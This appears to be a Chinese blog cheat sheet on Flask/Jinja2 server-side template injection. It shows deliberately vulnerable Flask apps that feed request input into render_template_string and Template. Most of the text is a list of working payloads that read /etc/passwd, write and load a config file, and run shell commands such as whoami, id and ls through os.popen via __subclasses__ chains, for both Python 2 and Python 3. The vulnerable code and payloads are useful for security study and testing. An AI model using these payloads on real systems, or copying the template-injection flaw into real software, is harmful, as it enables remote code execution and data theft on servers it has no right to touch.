flask ssti python2和python3 注入总结和区别
总结一下flask ssti的注入语句
代码
import uuid
from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string
app=Flask(__name__)
app.config['SECRET_KEY']=str(uuid.uuid4())
@app.route('/')
def index():
try:
username=session['username']
return render_template('index.html',username=username)
except Exception as e:
return """<form action="%s" method='POST'>
<input type='text' name='username' >
<input type='password' name='password' >
<input type='submit'>
</form>""" % url_for("login")
@app.errorhandler(404)
def page_not_found(e):
template='''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
'''%(request.url)
return render_template_string(template),404
@app.route('/',methods=['POST'])
def login():
username=request.form.get("username")
password=request.form.get("password")
if username=='admin' and not password==str(uuid.uuid4()):
return "login failed"
resp=make_response(redirect(url_for("index")))
session['username']=username
return resp
app.run(port=81,debug=True)
一.
python2,python2相对来说简单,有file
1.文件读取或者写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
2.任意执行
2.1每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
2.2写入一次即可
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}
2.3 不回显的
http://127.0.0.1:9998/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
3.任意执行只需要一条指令
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
总结:通过某种类型(字符串:"",list:[],int:1)开始引出,__class__找到当前类,__mro__或者__base__找到__object__,前边的语句构造都是要找这个。然后利用object找到能利用的类。还有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}这种的,能执行,但是不会回显。一般来说,python2的话用file就行,python3则没有这个属性。
二.
然后是python3
因为python3没有file了,所以用的是open
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一样,问题不大,挨个测试就能找出位置在在哪。
同样是一句指令任意执行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
三. 比较不同的一种,单独拿出来了。
#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run();
python3的时候
命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
python2的时候。(同上,不过不是不回显,而是要看网页源代码才能看出来)
flask ssti python2和python3 注入总结和区别的更多相关文章
- Python2和Python3的一些语法区别
Python2和Python3的一些语法区别 python 1.print 在版本2的使用方法是: print 'this is version 2 也可以是 print('this is versi ...
- Python2与Python3字符编码的区别
目录 字符编码应用之Python(掌握) 执行Python程序的三个阶段 Python2与Python3字符串类型的区别(了解) Python2 str类型 Unicode类型 Python3 字符编 ...
- python2和python3中range的区别
参考自 python2和python3中的range区别 - CSDN博客 http://blog.csdn.net/xiexingshishu/article/details/48581379 py ...
- day008 字符编码之 字符编码 、Python2和Python3字符编码的区别
计算机基础(掌握) 启动应用程序的流程 双击qq 操作系统接受指令然后把该操作转化为0和1发送给CPU CPU接受指令然后把指令发送给内存 内存接受指令把指令发送给硬盘获取数据 qq在内存中运行 文本 ...
- Python2与python3中字符串的区别
Python2 在python中包含两种字符串类型:str和unicode,str并不是完全意义上的字符串,其实是由unicode经过编码(encode)后的字节组成的字节字符串,而unicode则是 ...
- python2和python3中的range区别
python2中的range返回的是一个列表 python3中的range返回的是一个迭代值 for i in range(1,10)在python2和python3中都可以使用,但是要生成1-10的 ...
- python2与python3中除法的区别
python2中的除法 >>>1/2 0 即一个整数(无小数部分的数)被另外一个整数除,计算结果的小数部分被截除了,只留下了整数部分 有时候,这个功能比较有用,譬如在做一些需要取位数 ...
- python2 与python3中最大的区别(编码问题bytes&str
1,在python2.x 中是不区分bytes和str类型的,在python3中bytes和str中是区分开的,str的所有操作bytes都支持 python2 中 >>> s = ...
- python2和python3中str,bytes区别
python2中,有basestring.str.bytes.unicode四种类型 其中str == bytes ,basestring = (str,unicode) >>> i ...
随机推荐
- 容器适配器(一):queue
除了标准的顺序容器外,STL还提供了3种容器适配器,queue,priority_queue和stack 适配器是对顺序容器的包装,它的作用是简化接口. queue接口十分的简单,只有8个方法.再加上 ...
- VS Code 常用插件列表
插件列表 Auto Close Tag 自动闭合HTML标签 Auto Rename Tag 修改HTML标签时,自动修改匹配的标签 Bookmarks 添加行书签 Can I Use HTML5.C ...
- 区别Lua模式匹配中 %a+ 与 .-
匹配单词与匹配字符 > print(string.gsub("hello!zzy","%a+","tina"))tina!tina ...
- 解决apache启动错误:Could not reliably determine the server's fully qualified domain name
启动apache遇到错误:httpd: Could not reliably determine the server's fully qualified domain name [root@serv ...
- Java 常用IO流操作详解
1.基本概念 IO:Java对数据的操作是通过流的方式,IO流用来处理设备之间的数据传输,上传文件和下载文件,Java用于操作流的对象都在IO包中. 2.IO流的分类 图示:(主要IO流) 3.字节流 ...
- LINUX升级PHP版本至5.4.26
参考网址:http://www.itbulu.com/wdcp-php54.html文件:链接:http://pan.baidu.com/s/1slbbNxr 密码:s0yb 1.运行下载PHP版本文 ...
- Git IDEA Move or commit them before merge
提交代码遇到这个问题. Move or commit them before merge 百度了一下都是在Gitbash 中敲命令. 在团队协作中 你总不能去敲命令吧 后来在组长的怂恿下,我删除了一个 ...
- Order by排序
asc 升序(默认),desc 降序 order by 后面 可以加 列.表达式.别名.序号(从1开始) desc; --表达式 年薪 from emp order by 年薪 desc; --别名 ...
- Ubuntu install 错误 E:Unable to locate package
今天在 Ubuntu 上执行 sudo apt install sl 命令,结果报错:E:Unable to locate package sl 上网查询了一下,先更新一下 apt-get,执行:su ...
- thinkphp5.1 学习笔记 【多态关联】
$result = Draft::update($input, ['id' => $input['id']], true); if (!empty(array_get($input, 'hous ...